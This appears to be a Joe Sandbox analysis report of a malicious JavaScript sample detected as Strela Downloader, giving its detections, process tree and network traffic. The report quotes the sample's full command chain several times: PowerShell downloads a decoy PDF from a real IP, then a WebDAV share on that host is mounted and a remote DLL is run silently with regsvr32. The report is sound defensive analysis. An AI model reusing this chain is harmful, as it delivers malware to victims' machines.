Edit tour

Windows Analysis Report
315965636547620220.js

Overview

General Information

Sample name:	315965636547620220.js
Analysis ID:	1588159
MD5:	85af7e12afa71c357b6cab4ada397b44
SHA1:	453462db2f4ad8af0479476dfbe8feed4d7d9874
SHA256:	4b5bb6c8419c47dc41aa0599bb45df3b1d6536493733e30926cfe004b3eaa781
Tags:	jsStrelaStealeruser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Detected non-DNS traffic on DNS port

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Desusertion Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 2340 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\315965636547620220.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 3360 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29102893729089.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 3124 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 6296 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 4980 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 4632 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 5548 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2104 --field-trial-handle=1600,i,11809953461382276419,5258699728429330720,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 5096 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 3740 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 3108 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 2340	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29102893729089.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 3360, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 6296, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29102893729089.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 3360, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 6296, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\315965636547620220.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\315965636547620220.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 3504, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\315965636547620220.js", ProcessId: 2340, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Desusertion Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DesusertionIp: 193.143.1.205, DesusertionIsIpv6: false, DesusertionPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 3740, Protocol: tcp, SourceIp: 192.168.2.9, SourceIsIpv6: false, SourcePort: 49707

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29102893729089.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29102893729089.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\315965636547620220.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2340, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29102893729089.dll, ProcessId: 3360, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29102893729089.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29102893729089.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\315965636547620220.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2340, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29102893729089.dll, ProcessId: 3360, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29102893729089.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29102893729089.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\315965636547620220.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2340, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29102893729089.dll, ProcessId: 3360, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29102893729089.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29102893729089.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\315965636547620220.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2340, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29102893729089.dll, ProcessId: 3360, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29102893729089.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29102893729089.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\315965636547620220.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2340, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29102893729089.dll, ProcessId: 3360, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\315965636547620220.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\315965636547620220.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 3504, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\315965636547620220.js", ProcessId: 2340, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29102893729089.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 3360, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 6296, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5096, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 3740, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 3108, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5096, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 3740, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29102893729089.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29102893729089.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\315965636547620220.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2340, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29102893729089.dll, ProcessId: 3360, ProcessName: cmd.exe

Suricata Signatures

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T22:03:19.332211+0100	1810005	1	Potentially Bad Traffic	192.168.2.9	49707	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T22:03:17.022100+0100	1810000	2	Potentially Bad Traffic	192.168.2.9	49706	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 315965636547620220.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 315965636547620220.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.9:49707 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 21:03:16 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49707

Source: global traffic

TCP traffic: 192.168.2.9:49707 -> 193.143.1.205:8888

Source: global traffic

TCP traffic: 192.168.2.9:63980 -> 162.159.36.2:53

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.9:49706 -> 193.143.1.205:80

